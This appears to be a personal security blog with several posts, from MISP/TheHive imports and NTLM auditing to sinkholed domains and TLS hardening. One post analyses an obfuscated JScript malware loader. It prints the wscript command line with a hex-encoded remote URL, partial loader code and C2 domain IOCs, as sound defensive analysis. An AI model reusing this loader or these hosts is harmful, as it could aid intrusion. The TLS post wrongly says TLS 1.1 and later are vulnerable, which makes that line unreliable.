importing wildfire reports into misp and thehive

I’m experimenting with thehive and associated projects (misp in particular) and will be describing some issues I run into & how I’ve fixed them (fingers crossed).

One of the first things I tried was to import events from wildfire to misp. I found a package called pan-stix and installed it on my osx box. Running it the first time and exporting a wildfire report was easy enough, but I wasn’t sure how to import it into misp properly, or even how it was supposed to look.

Eventually I found the right combination of arguments & import strategy:

  1. use -f stix-ol as an argument to wildfire-to-stix.py
  2. import to misp using STIX 1.1.1 format

I published the event and it showed up in the hive.

Examining strange wscript behavior

We use cylance with script control, and periodically I review the outliers that have been blocked. I came across this one recently:

wscript.exe "C:\ProgramData{18E0DD83-92A2-5745-1464-C9078E2642C9}\domo.txt" "68747470733a2f2f643237346571343163333972326e2e636c6f756466726f6e742e6e6574" "//B" "//E:jscript" "--IsErIk"

I took a copy of the domo.txt script and uploaded to VT:

I also ran that hex string through a hex decoder:

68747470733a2f2f643237346571343163333972326e2e636c6f756466726f6e742e6e = https://d274eq41c39r2n.cloudfront.net

According to the wscript documentation, the flag /e:jscript will allow the wscript interpreter to run the file domo.txt as jscript. The contents appear encoded or obfuscated. The /b argument will make it run noninteractively. I’m assuming the –iserik is passed to the subsequent script?

strings:

*/function fySxqeCS(){var SYBkWxQw=WScript;var uDoH="";if(SYBkWxQw.Arguments.length>0&&SYBkWxQw.Arguments(SYBkWxQw.Arguments.length-1).charAt(7) == 'k')uDoH="66 
320".toString();var IMA="";var XltLF=0;while(XltLF<uDoH.length){IMA+=String.fromCharCode(parseInt(uDoH.substr(XltLF,2),1
6));XltLF+=2;XltLF+=IMA.charCodeAt(IMA.length-1)%4}(new Function(IMA))()}fySxqeCS();/*

Googling a bit finds a BAH article classifying this as APA. It looks pretty much identical. The article doesn’t decode the script so maybe I can find out a bit more…

I tried using FlareVM run it interactively with a debugger, but that didn’t prove as easy as running the contents through node.js. Maybe I’ll come back to that later.

Let’s look at the contents:

Wait, is that a /* at the beginning? Let’s see if there’s a closing comment

Yep, sure enough. If you look for the complimentary */ you’ll see this:

¯áЫçéË*/function fySxqeCS()

Getting closer, there’s a comment towards the end as well. After removing them, it looks like this:

Which is still suboptimal. Next, we copy to a new file & rename to .js. Sublime text takes care of prettifying it a bit for us.

Starting to look readable

The argument uDoH is still quite obfuscated, and it looks like there’s some decoding function. The malware authors have also tried to prevent this code from running in a sandbox (it expects to run in WScript and with an argument of ‘k’ at the 8th position (part of –IsErik). That can be commented out for further analysis.

In addition, it looks like it runs the subsequent decoded output in a variable called IMA. That function call needs to be removed & instead we print the contents to the console. Here’s almost how it looks. The uDoH had to be trimmed quite a bit to fit in this textbox:

function fySxqeCS() {
// var SYBkWxQw = WScript;
var uDoH = "";
//if (SYBkWxQw.Arguments.length > 0 && SYBkWxQw.Arguments(SYBkWxQw.Arguments.length - 1).charAt(7) == 'k')
uDoH = "66 ¦75 2c7abü2829œ7c7c65æ2822 22é 29ï29 29ô2c65£2822 ý22Êö29ƒ7dè63ß9™61Ì74 <SNIPPED> 9Æ7bº€ÿ65 2822„¶22§å29 7d 7d 4d 61Ã69 6eb52829é3b Á320".toString();
var IMA = "";
var XltLF = 0;
while (XltLF < uDoH.length) {
IMA += String.fromCharCode(parseInt(uDoH.substr(XltLF, 2), 16));
XltLF += 2;
XltLF += IMA.charCodeAt(IMA.length - 1) % 4
}
console.log(IMA)
//(new Function(IMA))()
}
fySxqeCS();
node initial.js > initial2.js
Still some obfuscation, but much better than the original source

Ok now we’re getting somewhere. I’m going to try to run it through some sort of callgraph visualization.

Looks like they’re all in use

Ok so we need to step through these & rename them so we better understand what’s happening.

Function f looks like some sort of decoding function, let’s run it:

function f(b) 
{
b = b.toString();
console.log(b)
for (var a = "", c = 0; c < b.length; c += 2) a += String.fromCharCode(parseInt(b.substr(c, 2), 16));
console.log(a)
return a
}
u();
node e.js 
536372697074696e672e46696c6553797374656d4f626a656374
Scripting.FileSystemObject

I’ll rename that function to DecodeString and re-run the callgraph visualization:

Lots of DecodeString called here

It looks like this is about the limit of my knowledge.. I’m going to try to analyze it a bit more, but for now I’m satisfied that it’s malicious. What I need to find are some specific IOCs and generate some GRR flows / splunk queries to search for these IOCs.

Update: f5d599a39d02caef1984e95fdc606f838893ffc5.xyz

Unfortunately, as of 16 April 2019, I’m still seeing traffic on this domain.

Here are some others I’m seeing:

dfbfb63dcaff96fbe9616fb806e4799f.com
8d46980d994cc618aeed127df1b5c86d8acd86ce.info
07bf396c25d9a624281c97752aee0247e4229b84.xyz
07bf396c25d9a624281c97752aee0247e4229b84.com
07bf396c25d9a624281c97752aee0247e4229b84.info
d234304f57772cf6be78ab6c24a65c91ce896fff.xyz
d234304f57772cf6be78ab6c24a65c91ce896fff.com
d234304f57772cf6be78ab6c24a65c91ce896fff.info
8d46980d994cc618aeed127df1b5c86d8acd86ce.xyz
cbb0c7dae8061aca012b8a910062c33f3642e383.com
cbb0c7dae8061aca012b8a910062c33f3642e383.xyz
cbb0c7dae8061aca012b8a910062c33f3642e383.info

Disabling NTLM

NTLM auditing in an active directory domain with splunk.

If you want to disable NTLM and move to Kerberos in an active directory environment, you’ll need to follow this process.

  1. Enable auditing (covered in this post)
  2. Reconfigure applications to use Service Principal Name (SPN)
  3. Whitelist allowed NTLM servers
  4. Configure blocking

The first step is to enable auditing on your domain controllers. The easiest way is by creating a GPO and applying it to an OU containing your DC’s. Here’s what mine looks like:

Once defined, use splunk (or other) to capture all logs created here:

Applications and Services Logs -> Microsoft -> Windows -> NTLM -> Operational

My splunk inputs.conf looks like this:

 [WinEventLog://Microsoft-Windows-NTLM/Operational]
disabled = 0
index = msad
Splunk Query:
index=msad sourcetype="WinEventLog:Microsoft-Windows-NTLM/Operational

f5d599a39d02caef1984e95fdc606f838893ffc5.xyz

I’m now the proud owner of these domains:

Why would I purchase such strange looking domains you ask?

It all started long ago, while working for my enterprise. I saw some activity flagged by OpenDNS / Umbrella for some CnC traffic bound for these domains. It was being blocked but as I dug a little deeper I noted that they weren’t registered to anyone.

So, I figured, let’s register them & see what tries to connect….

Fast forward a few hours & login to an ec2 instance running apache. I noticed it felt a little ‘slow’ but it didn’t appear to be cpu-bound. I ran a netstat command and saw a crapload of connections to 443. So, I registered a letsencrypt certificate & watched my logs start to fill up:

62.xx.xx.xx - - [15/Mar/2019:20:16:21 +0000] "POST /v1/users/tokens/renew HTTP/1.1" 404 219 "-" "NordApp android (playstore/3.11.3) Android 9"
107.xx.xx.xx - - [15/Mar/2019:20:16:21 +0000] "GET /v1/servers/count HTTP/1.1" 404 214 "-" "NordVPN/78 CFNetwork/902.3.1 Darwin/17.7.0 (x86_64)"
82.xx.xx.xx - - [15/Mar/2019:20:16:21 +0000] "POST /v1/users/tokens/renew HTTP/1.1" 404 219 "-" "NordApp android (playstore/3.11.3) Android 9"
80.xx.xx.xx - - [15/Mar/2019:20:16:21 +0000] "POST /v1/users/tokens/renew HTTP/1.1" 404 219 "-" "NordApp android (sideload/3.11.3) Android 5.1.1"
185.xx.xx.xx - - [15/Mar/2019:20:16:21 +0000] "GET /v1/servers?fields%5Bservers.id%5D=&fields%5Bservers.load%5D=&filters%5Bservers.status%5D=online&limit=5402 HTTP/1.1" 404 208 "-" "NordVPN/78 CFNetwork/760.9 Darwin/15.6.0 (x86_64)"
77.xx.xx.xx - - [15/Mar/2019:20:16:21 +0000] "POST /v1/users/tokens/renew HTTP/1.1" 404 219 "-" "NordApp android (playstore/3.11.3) Android 9"
185.xx.xx.xx - - [15/Mar/2019:20:16:21 +0000] "POST /v1/users/tokens/renew HTTP/1.1" 404 219 "-" "NordApp android (playstore/3.11.2) Android 8.0.0"

Clearly, this is traffic that is not intended for me. I reached out to NordVPN security & received a response that they’re looking into it.

My curiosity is around what could have caused this? Misconfiguration? I sandboxed the 3.11.3 version of NordVPN but wasn’t able to reproduce this issue.

This was / is no joke, here’s the utilization according to AWS:

I’m curious if others are seeing this on their networks and what the root cause is.

CAA Test Results

As promised, I’ve been testing Certification Authority Authorization (CAA) with some Certificate Authorities and here’s what I found so far:

Amazon Certificate Manager (ACM)

Amazon Certificate Manager

It does not appear they honor the IODEF since I didn’t receive an email.

Let’s Encrypt appears to also block issuance:

Let’s Encrypt (using lego)

2018/12/29 16:44:30 Could not obtain certificates acme: Error -> One or more domains had a problem:
[www.niem.es] acme: Error 403 - urn:ietf:params:acme:error:caa - Error finalizing order :: Rechecking CAA: While processing CAA for niem.es: CAA record for niem.es prevents issuance, While processing CAA for www.niem.es: CAA record for www.niem.es prevents issuance

Alas, no email received from them either.

If you own a domain, you should certainly configure CAA. It appears to work and is another preventive control against phishing.

Getting to A+ with Qualys

One of the things I do when examining a website is to run it through Qualys’s SSL Labs Server Test. It does not provide a ‘security’ score per-se, but can be a good first step in making sure sessions are end-to-end encrypted between your users & your website.

As of 5:23PM on 28 Dec 2018 I have an A:

How do I get to A+?

How did I achieve this score?

  1. Disabled old / weak SSL / TLS protocols
  2. Enabled CAA policy

Here’s the relevant httpd.conf lines:

<...>
Listen 443
#SSLProtocol all -SSLv2 -SSLv3
SSLProtocol TLSv1.2

And for CAA, I followed the guide here.

Why are these items important?

  1. TLS v1.1 and greater have known vulnerabilities, so it’s important to disallow them and prevent eavesdropping
  2. As for CAA, I originally thought this was to prevent man-in-the-middle (MitM) attacks, but reading the RFC says otherwise:
The Certification Authority Authorization (CAA) DNS Resource Record
   allows a DNS domain name holder to specify the Certification
   Authorities (CAs) authorized to issue certificates for that domain.
   Publication of CAA Resource Records allows a public Certification
   Authority to implement additional controls to reduce the risk of
   unintended certificate mis-issue.

Digging a bit deeper, it appears the CAA RFC supports something interesting called IODEF. So of course, I had to see if I could activate it.

That’s something I’ll be testing in a future post.

Update: I’m now at A+:

29 Dec 2019

How? I looked at other sites that were receiving A+ ratings and didn’t find many differences – key exchange was the same (rsa 2048) and they had ciphers that were 128 bits as well (similar to my site). HSTS was the big difference, and so I added this to my httpd.conf under the :443 virtual server:

Header always set Strict-Transport-Security "max-age=31536000;   includeSubDomains"

How I Read Kindle Books (for free)

A few years ago I read a medium post where the author describes how she reads so much. A big part of her strategy was to use her Amazon Kindle Paperwhite. The device is dedicated to reading (no other apps to distract you), has a great backlit screen, and can be held in almost any direction while continuing to read. One of the issues with this approach was how to get books to read on the device without breaking the bank. Here’s my technique which has allowed me to read almost anything I want.

  • Get as many library cards as you can
    • In California, this requires you to show up physically at library locations and present your ID
  • Get the libby app (iOS or Android)
    • Alternatively / in addition use the overdrive app on your computer
  • Register each library card with the libby app
  • Search for and place holds on any eBooks you want
  • When they’re available, simply choose the option to check out to Kindle, which will bring up a window for amazon and allow you to check out the library book

Using this method I’ve managed to read almost everything I want for free.

Privacy in the Digital Age

I decided that before 2018 was out, I’d try to tackle my online presence and remove any unused accounts. I started by opening lastpass and running through the security challenge and let me tell you, it was pretty pathetic. I don’t recall my exact score but it was dismal. It took a while but I did manage to raise my score quite a bit and I learned some tips along the way.

In short: I wanted to reduce my ‘attack surface’. With all the data breaches we had in 2018 (and earlier) I knew that the best way to protect myself online was to simply remove (or sometimes change) any of my personal information that sites had. Not to pick on any site in particular let’s take groupon. I am not a user of groupon although I have / had an account. It had my personal address on it, my phone number, and other identifying information. Since I had not used groupon in quite a while, I logged on, changed my password, changed my address and phone number, and emailed customer service to delete my account.

I basically repeated this process about 100 times.

What I learned is that most sites do not have an easy way to delete accounts. You wind up having to contact customer service which is fine but does take more time than a simle click. The other thing is – how do you actually know they’ve removed your account? I know from working at a large Enterprise that customer data gets everywhere and it’s hard to truly delete it from all systems / especially backups and maybe the loose Excel spreadsheet that someone in marketing has.

Pro tip: don’t create new accounts, or if you do, use throwaway information like an email that doesn’t have any PII in the address. In other words, use something like “lastunicorn2018@gmail.com” instead of “joe.smith@gmail.com”